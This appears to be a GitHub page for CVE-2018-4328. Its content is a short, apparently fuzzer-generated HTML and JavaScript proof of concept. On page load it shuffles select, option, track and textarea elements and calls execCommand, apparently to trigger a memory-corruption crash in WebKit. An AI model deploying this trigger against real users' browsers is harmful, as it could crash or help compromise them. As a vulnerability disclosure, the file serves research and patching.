Skip to content

Latest commit

 

History

History
41 lines (37 loc) · 1.34 KB

CVE-2018-4328.md

File metadata and controls

41 lines (37 loc) · 1.34 KB
Raw

CVE-2018-4328

PoC

<style>
* { -webkit-logical-width: 1px; -webkit-perspective: 1px;  }
</style>
<script>
function jsfuzzer() {
  var htmlvar00011 = document.getElementById("htmlvar00011");
  var htmlvar00019 = document.getElementById("htmlvar00019");
  var htmlvar00049 = document.getElementById("htmlvar00049");
  var htmlvar00005 = document.getElementById("htmlvar00005");
  document.documentElement.appendChild(htmlvar00019);
  htmlvar00004.insertAdjacentHTML("beforeBegin",'<optgroup id="htmlvar00005"><option>1</option></optgroup>');
  htmlvar00004.options.add(htmlvar00023);
  htmlvar00011.appendChild(htmlvar00044);
  document.body.insertAdjacentHTML("beforeBegin",'<track id="htmlvar00003">aaaaaaaa<select><textarea></textarea>');
  document.execCommand("styleWithCSS", false, false);
  document.getElementById('htmlvar00003').appendChild(htmlvar00049);
  document.body.style.cssFloat = "right";
  htmlvar00011.selected = true;
}
</script>
<body onload=jsfuzzer()>
<select id="htmlvar00004" dir="rtl">
<option id="htmlvar00011">oH{I</option>
</select>
</body>
<div id="htmlvar00019">
<h3>
<option id="htmlvar00023" selected="selected">H;&lt;%/IXwS1S:tOT[</option>
<div id="htmlvar00044">
<h2>j3ci</h2>
<textarea id="htmlvar00049">p85_0u</textarea>

Reference